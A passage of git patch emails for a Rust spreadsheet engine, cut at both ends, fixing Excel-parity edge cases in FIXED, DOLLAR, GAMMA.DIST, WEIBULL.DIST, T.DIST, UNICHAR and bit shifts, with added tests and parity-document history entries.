rounded(a, 2.0)?; let body = format_fixed(r, d, true); - text_val(if r < 0.0 { format!("(${body})") } else { format!("${body}") }) + let out = if r < 0.0 { format!("(${body})") } else { format!("${body}") }; + if out.len() > 254 { + return Err(CellError::Value); + } + text_val(out) } // --------------------------------------------------------------------------------------------- @@ -1241,6 +1248,26 @@ mod tests { is_text(ev("T", vec![n(1.0)]), ""); } + #[test] + fn fixed_and_dollar_output_limits() { + assert!(matches!(ev("FIXED", vec![n(1e191), n(0.0)]), Value::Text(ref s) if s.len() == 255)); + is_err(ev("FIXED", vec![n(1e192), n(0.0)]), CellError::Value); + assert!(matches!(ev("FIXED", vec![n(-1e253), n(0.0), b(true)]), Value::Text(ref s) if s.len() == 255)); + is_err(ev("FIXED", vec![n(-1e254), n(0.0), b(true)]), CellError::Value); + assert!(matches!(ev("FIXED", vec![n(1e189), n(1.0)]), Value::Text(ref s) if s.len() == 255)); + is_err(ev("FIXED", vec![n(1e190), n(1.0)]), CellError::Value); + + assert!(matches!(ev("DOLLAR", vec![n(1e189), n(0.0)]), Value::Text(ref s) if s.len() == 254)); + is_err(ev("DOLLAR", vec![n(1e190), n(0.0)]), CellError::Value); + assert!(matches!(ev("DOLLAR", vec![n(-1e188), n(0.0)]), Value::Text(ref s) if s.len() == 254)); + is_err(ev("DOLLAR", vec![n(-1e189), n(0.0)]), CellError::Value); + assert!(matches!(ev("DOLLAR", vec![n(1e187), n(2.0)]), Value::Text(ref s) if s.len() == 254)); + is_err(ev("DOLLAR", vec![n(1e188), n(2.0)]), CellError::Value); + is_err(ev("DOLLAR", vec![n(-1e187), n(2.0)]), CellError::Value); + assert!(matches!(ev("DOLLAR", vec![n(1e189), n(-1.0)]), Value::Text(ref s) if s.len() == 254)); + is_err(ev("DOLLAR", vec![n(1e190), n(-1.0)]), CellError::Value); + } + #[test] fn before_after() { is_text(ev("TEXTBEFORE", vec![t("Red riding hood"), t(" ")]), "Red"); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..e0d9a6b53 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (FIXED refuses results over 255 characters and DOLLAR refuses results over 254, matching the signed, decimal and separator boundary checks in Windows Excel 16.0 build 20527, LCID 1033) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | FIXED accepts output through 255 characters; DOLLAR accepts output through 254. Windows Excel 16.0 build 20527 (LCID 1033) confirmed the distinct cutoffs with grouped and ungrouped values, signs, currency layout and decimal places | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From ec2efe3246d1d3f4f5f53c5aeb5df8bb890079be Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:34:36 -0500 Subject: [PATCH 090/298] G713: correct gamma density at zero --- crates/functions/src/stat/distributions.rs | 2 +- crates/functions/src/stat/tests.rs | 13 +++++++++++++ docs/function-parity.md | 3 ++- 3 files changed, 16 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..6f39f11a1 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -499,7 +499,7 @@ pub(super) fn gamma_dist(a: &[Arg], _: C) -> R { return if al < 1.0 { Err(CellError::Num) } else if al == 1.0 { - num_val(1.0 / be) + Err(CellError::Num) } else { num_val(0.0) }; diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..e45a48069 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -479,6 +479,19 @@ fn continuous() { close_tol(r[0][1].clone(), 0.841344746, 1e-8); } +#[test] +fn gamma_density_at_zero_shape_one_is_num() { + for scale in [0.1, 0.9, 1.0, 1.9, 2.0, 10_000_000_000.0] { + is_err(ev("GAMMA.DIST", vec![n(0.0), n(1.0), n(scale), b(false)]), CellError::Num); + } + is_err(ev("GAMMA.DIST", vec![n(0.0), n(0.5), n(1.0), b(false)]), CellError::Num); + close_tol(ev("GAMMA.DIST", vec![n(0.0), n(2.0), n(1.0), b(false)]), 0.0, 0.0); + close_tol(ev("GAMMA.DIST", vec![n(0.0), n(1.0), n(2.0), b(true)]), 0.0, 0.0); + close_tol(ev("GAMMA.DIST", vec![n(2.0), n(1.0), n(2.0), b(false)]), 0.5 * (-1.0f64).exp(), 1e-15); + close_tol(ev("GAMMA.DIST", vec![n(2.0), n(1.0), n(2.0), b(true)]), 1.0 - (-1.0f64).exp(), 1e-15); + is_err(ev("GAMMA.DIST", vec![n(-0.1), n(1.0), n(2.0), b(false)]), CellError::Num); +} + #[test] fn aggregate_helper() { let vals = vec![nv(1.0), nv(2.0), tv("x"), Value::Empty, Value::Bool(true), nv(6.0)]; diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..6cfbd94a9 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (GAMMA.DIST density at x=0 and shape 1 returns `#NUM!` as in Excel; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | GAMMA.DIST density at x=0 and shape 1 returns `#NUM!` for all positive scales; the cumulative branch and other shape boundaries are unchanged | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 48c6b57060da96cddab9c82d832dbb8c08c4a317 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:34:59 -0500 Subject: [PATCH 091/298] G714: return zero Weibull density at zero --- crates/functions/src/stat/distributions.rs | 3 +++ crates/functions/src/stat/tests.rs | 11 +++++++++++ docs/function-parity.md | 3 ++- 3 files changed, 16 insertions(+), 1 deletion(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..c67917c36 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -605,6 +605,9 @@ pub(super) fn weibull_dist(a: &[Arg], _: C) -> R { if x < 0.0 || al <= 0.0 || be <= 0.0 { return Err(CellError::Num); } + if x == 0.0 { + return num_val(0.0); + } let t = (x / be).powf(al); num_val(if cum { -(-t).exp_m1() } else { al / be.powf(al) * x.powf(al - 1.0) * (-t).exp() }) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..a00318bd2 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -479,6 +479,17 @@ fn continuous() { close_tol(r[0][1].clone(), 0.841344746, 1e-8); } +#[test] +fn weibull_density_at_zero_is_zero() { + for shape in [0.5, 1.0, 2.0] { + close_tol(ev("WEIBULL.DIST", vec![n(0.0), n(shape), n(1.0), b(false)]), 0.0, 0.0); + close_tol(ev("WEIBULL.DIST", vec![n(0.0), n(shape), n(1.0), b(true)]), 0.0, 0.0); + } + close_tol(ev("WEIBULL.DIST", vec![n(1.0), n(1.0), n(1.0), b(false)]), (-1.0f64).exp(), 1e-15); + close_tol(ev("WEIBULL.DIST", vec![n(1.0), n(1.0), n(1.0), b(true)]), 1.0 - (-1.0f64).exp(), 1e-15); + is_err(ev("WEIBULL.DIST", vec![n(-0.1), n(1.0), n(1.0), b(false)]), CellError::Num); +} + #[test] fn aggregate_helper() { let vals = vec![nv(1.0), nv(2.0), tv("x"), Value::Empty, Value::Bool(true), nv(6.0)]; diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..fbc83f870 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (WEIBULL.DIST density is zero at x=0, including shape below one, as in Excel; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | WEIBULL.DIST returns zero at x=0 in both density and cumulative modes, including shape below one; negative x remains `#NUM!` | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 5ee65a8005c1fb603aab5f35758f70f58ae2a8e5 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:35:50 -0500 Subject: [PATCH 092/298] Tighten UNICHAR regressions and parity history --- crates/functions/src/text.rs | 4 ++-- docs/function-parity.md | 3 +-- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index 0993141be..1e789d0aa 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -1188,8 +1188,8 @@ mod tests { for cp in [0xFDD0, 0xFDEF, 0xFFFE, 0xFFFF, 0x1FFFE, 0x1FFFF, 0x10FFFE, 0x10FFFF] { is_err(ev("UNICHAR", vec![n(f64::from(cp))]), CellError::NA); } - for cp in [0xFDCF, 0xFDF0, 0xFFFD, 0x1FFFD] { - assert!(matches!(ev("UNICHAR", vec![n(f64::from(cp))]), Value::Text(_))); + for (cp, expected) in [(0xFDCF, "\u{FDCF}"), (0xFDF0, "\u{FDF0}"), (0xFFFD, "\u{FFFD}"), (0x1FFFD, "\u{1FFFD}")] { + is_text(ev("UNICHAR", vec![n(f64::from(cp))]), expected); } close(ev("UNICODE", vec![t("☃")]), 9731.0); is_err(ev("UNICHAR", vec![n(0.0)]), CellError::Value); diff --git a/docs/function-parity.md b/docs/function-parity.md index de70ab192..22827766b 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -29,8 +29,6 @@ Excel's worksheet functions, category by category, against GridCraft's function ## Coverage -| 2026-10-31 | minor | UNICHAR returns `#N/A` for U+FDD0–U+FDEF and U+FFFE/U+FFFF on every plane; adjacent valid characters and existing invalid-range/surrogate errors remain unchanged, matching Excel | - **Measured: 513 / 523 by name (98.1%); 504 / 523 working (96.4%).** | Category | Excel | Ours | Working | % working | Missing | @@ -126,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | UNICHAR returns `#N/A` for U+FDD0–U+FDEF and U+FFFE/U+FFFF on every plane; adjacent valid characters and existing invalid-range/surrogate errors remain unchanged, matching Excel | | 2026-10-27 | minor | ECMA.CEILING added to the functions that are in our library but not on Microsoft's list (with USDOLLAR), so the counts don't change | | 2026-10-26 | minor | IMSQRT uses Excel's polar route with its cosine reduction, so `IMSQRT("-4")` is `1.22514845490862E-16+2i` as in Excel (exact `2i` before); the rows list the IM* differences still open | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | From 9e710199b1e613c847b5da8a2cae4cc3c46c7c3c Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:36:06 -0500 Subject: [PATCH 093/298] Move base source parity note to history --- docs/function-parity.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/docs/function-parity.md b/docs/function-parity.md index 25571dabf..8fbfe52a5 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -29,8 +29,6 @@ Excel's worksheet functions, category by category, against GridCraft's function ## Coverage -| 2026-10-31 | minor | BIN2*, HEX2* and OCT2* reject surrounding spaces and tabs in source strings with `#NUM!`, matching Excel; plain unpadded values remain valid | - **Measured: 513 / 523 by name (98.1%); 504 / 523 working (96.4%).** | Category | Excel | Ours | Working | % working | Missing | @@ -126,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | BIN2*, HEX2* and OCT2* reject surrounding spaces and tabs in source strings with `#NUM!`, matching Excel; plain unpadded values remain valid | | 2026-10-27 | minor | ECMA.CEILING added to the functions that are in our library but not on Microsoft's list (with USDOLLAR), so the counts don't change | | 2026-10-26 | minor | IMSQRT uses Excel's polar route with its cosine reduction, so `IMSQRT("-4")` is `1.22514845490862E-16+2i` as in Excel (exact `2i` before); the rows list the IM* differences still open | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | From 11b54ebe40baa03cdf7c81c4d97ef8c08ea9ff4e Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:36:23 -0500 Subject: [PATCH 094/298] G708: retain dollar sign when rounding to zero --- crates/functions/src/text.rs | 18 +++++++++++++++++- docs/function-parity.md | 3 ++- 2 files changed, 19 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index df125f022..b699956d7 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -399,8 +399,9 @@ fn fixed(a: &[Arg], _c: &mut dyn Ctx) -> R { fn dollar(a: &[Arg], _c: &mut dyn Ctx) -> R { let (r, d) = rounded(a, 2.0)?; + let negative = r < 0.0 || (r == 0.0 && d >= 0 && num(a, 0)? < 0.0); let body = format_fixed(r, d, true); - text_val(if r < 0.0 { format!("(${body})") } else { format!("${body}") }) + text_val(if negative { format!("(${body})") } else { format!("${body}") }) } // --------------------------------------------------------------------------------------------- @@ -1241,6 +1242,21 @@ mod tests { is_text(ev("T", vec![n(1.0)]), ""); } + #[test] + fn dollar_keeps_negative_sign_when_nonnegative_precision_rounds_to_zero() { + is_text(ev("DOLLAR", vec![n(-0.0001), n(0.0)]), "($0)"); + is_text(ev("DOLLAR", vec![n(-0.0001), n(2.0)]), "($0.00)"); + is_text(ev("DOLLAR", vec![n(0.0), n(0.0)]), "$0"); + is_text(ev("DOLLAR", vec![n(-0.0), n(0.0)]), "$0"); + is_text(ev("DOLLAR", vec![n(0.0001), n(0.0)]), "$0"); + is_text(ev("DOLLAR", vec![n(-0.0001), n(-1.0)]), "$0"); + is_text(ev("DOLLAR", vec![n(-4.0), n(-1.0)]), "$0"); + is_text(ev("DOLLAR", vec![n(-5.0), n(-1.0)]), "($10)"); + is_text(ev("DOLLAR", vec![n(-0.4), n(0.0)]), "($0)"); + is_text(ev("DOLLAR", vec![n(-0.5), n(0.0)]), "($1)"); + is_text(ev("FIXED", vec![n(-0.0001), n(0.0)]), "0"); + } + #[test] fn before_after() { is_text(ev("TEXTBEFORE", vec![t("Red riding hood"), t(" ")]), "Red"); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..1298ad01d 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (DOLLAR keeps the negative layout when a negative input rounds to zero at nonnegative precision; negative precision that rounds to zero retains the positive layout, as measured in Windows Excel 16.0 build 20527, LCID 1033) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | DOLLAR uses the input sign for negative amounts that round to zero at nonnegative decimal places (`DOLLAR(-0.0001,0)` is `($0)`); when negative decimal places round to zero, Excel returns `$0`. Exact zero and negative zero stay unsigned; FIXED still returns `0` for `FIXED(-0.0001,0)` | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 32dbf6a2244eb2c269585f6c2f752c753db48dc8 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:37:03 -0500 Subject: [PATCH 095/298] G705: fix single-character case conversions --- crates/functions/src/text.rs | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index a7b82b10a..d056b6ef9 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -126,12 +126,16 @@ fn upper_char(ch: char) -> char { } } +fn proper_upper_char(ch: char) -> char { + if ch == '\u{130}' { 'I' } else { upper_char(ch) } +} + fn lower(a: &[Arg], _c: &mut dyn Ctx) -> R { - text_val(text(a, 0)?.chars().map(lower_char).collect()) + text_val(text(a, 0)?.chars().map(lower_char).collect::()) } fn upper(a: &[Arg], _c: &mut dyn Ctx) -> R { - text_val(text(a, 0)?.chars().map(upper_char).collect()) + text_val(text(a, 0)?.chars().map(upper_char).collect::()) } fn proper(a: &[Arg], _c: &mut dyn Ctx) -> R { @@ -143,7 +147,7 @@ fn proper(a: &[Arg], _c: &mut dyn Ctx) -> R { if prev_letter { out.push(lower_char(ch)); } else { - out.push(upper_char(ch)); + out.push(proper_upper_char(ch)); } prev_letter = true; } else { From ad69d4cbdd5ce524000a1409edec74a1a2cecb06 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:39:00 -0500 Subject: [PATCH 096/298] G710: update zero-degree test error --- crates/functions/src/stat/tests.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 75ae50f9b..a5bb21f9b 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -366,7 +366,7 @@ fn t_chi_f() { close_tol(ev("T.DIST.RT", vec![n(1.959999998), n(60.0)]), 0.027322465, D7); close_tol(ev("TDIST", vec![n(1.959999998), n(60.0), n(2.0)]), 0.054644930, D7); is_err(ev("TDIST", vec![n(-1.0), n(60.0), n(2.0)]), CellError::Num); - is_err(ev("T.DIST", vec![n(1.0), n(0.0), b(true)]), CellError::Num); + is_err(ev("T.DIST", vec![n(1.0), n(0.0), b(true)]), CellError::Div0); close_tol(ev("T.INV", vec![n(0.75), n(2.0)]), 0.8164966, D7); close_tol(ev("T.INV", vec![n(0.25), n(2.0)]), -0.8164966, D7); close_tol(ev("T.INV.2T", vec![n(0.546449), n(60.0)]), 0.606533, D7); From 4e5c86d842a66974b5ace76ca4cd063ea0478647 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:39:05 -0500 Subject: [PATCH 097/298] G711: preserve small density term at huge degrees --- crates/functions/src/stat/distributions.rs | 2 +- crates/functions/src/stat/tests.rs | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index 012a63a6f..4e75486ef 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -26,7 +26,7 @@ fn t_pdf(t: f64, v: f64) -> f64 { } else { ln_gamma(z + 0.5) - ln_gamma(z) }; - (log_gamma_ratio - 0.5 * (v * std::f64::consts::PI).ln() - (v + 1.0) / 2.0 * (1.0 + t * t / v).ln()).exp() + (log_gamma_ratio - 0.5 * (v * std::f64::consts::PI).ln() - (v + 1.0) / 2.0 * (t * t / v).ln_1p()).exp() } /// t ≥ 0 with P(T > t) = q, q in (0, 0.5]. diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 6dce02b7e..cc2767257 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -366,7 +366,7 @@ fn t_chi_f() { close_tol(ev("T.DIST.RT", vec![n(1.959999998), n(60.0)]), 0.027322465, D7); close_tol(ev("TDIST", vec![n(1.959999998), n(60.0), n(2.0)]), 0.054644930, D7); is_err(ev("TDIST", vec![n(-1.0), n(60.0), n(2.0)]), CellError::Num); - is_err(ev("T.DIST", vec![n(1.0), n(0.0), b(true)]), CellError::Num); + is_err(ev("T.DIST", vec![n(1.0), n(0.0), b(true)]), CellError::Div0); close_tol(ev("T.INV", vec![n(0.75), n(2.0)]), 0.8164966, D7); close_tol(ev("T.INV", vec![n(0.25), n(2.0)]), -0.8164966, D7); close_tol(ev("T.INV.2T", vec![n(0.546449), n(60.0)]), 0.606533, D7); @@ -408,6 +408,7 @@ fn t_chi_f() { fn t_density_is_stable_for_large_degrees() { close_tol(ev("T.DIST", vec![n(0.0), n(100_000_000.0), b(false)]), 0.398942279404077, 1e-12); close_tol(ev("T.DIST", vec![n(0.0), n(10_000_000_000.0), b(false)]), 0.3989422803914591, 1e-12); + close_tol(ev("T.DIST", vec![n(1.0), n(10_000_000_000_000_000.0), b(false)]), 0.24197072451914337, 1e-12); } #[test] From 213b76af10172e832dc097d86f132869e41f1610 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:39:26 -0500 Subject: [PATCH 098/298] Expand bit shift boundary regressions --- crates/functions/src/engineering.rs | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/crates/functions/src/engineering.rs b/crates/functions/src/engineering.rs index a02196f41..96d73bf78 100644 --- a/crates/functions/src/engineering.rs +++ b/crates/functions/src/engineering.rs @@ -450,12 +450,19 @@ mod tests { is_err(ev("BITLSHIFT", vec![n(1.0), n(54.0)]), CellError::Num); is_err(ev("BITLSHIFT", vec![n(2f64.powi(47)), n(1.0)]), CellError::Num); for f in ["BITLSHIFT", "BITRSHIFT"] { - for shift in [-100.0, -54.0, 54.0, 100.0] { + for shift in [-100.0, -54.0, -53.0, 53.0, 54.0, 100.0] { close(ev(f, vec![n(0.0), n(shift)]), 0.0); } - is_err(ev(f, vec![n(1.0), n(54.0)]), CellError::Num); + for shift in [-100.0, -54.0, 54.0, 100.0] { + is_err(ev(f, vec![n(1.0), n(shift)]), CellError::Num); + } + if f == "BITLSHIFT" { + is_err(ev(f, vec![n(1.0), n(53.0)]), CellError::Num); + } else { + close(ev(f, vec![n(1.0), n(53.0)]), 0.0); + } + is_err(ev(f, vec![n(0.0), t("bad")]), CellError::Value); } - is_err(ev("BITLSHIFT", vec![n(0.0), t("bad")]), CellError::Value); is_err(ev("BITRSHIFT", vec![n(-1.0), n(100.0)]), CellError::Num); } From 1b1224c67a3c3359943d0c05f8607316db64c88c Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:42:50 -0500 Subject: [PATCH 099/298] G713: simplify zero-shape boundary --- crates/functions/src/stat/distributions.rs | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index 6f39f11a1..4e6e46867 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -496,13 +496,7 @@ pub(super) fn gamma_dist(a: &[Arg], _: C) -> R { return num_val(reg_gamma_p(al, x / be)); } if x == 0.0 { - return if al < 1.0 { - 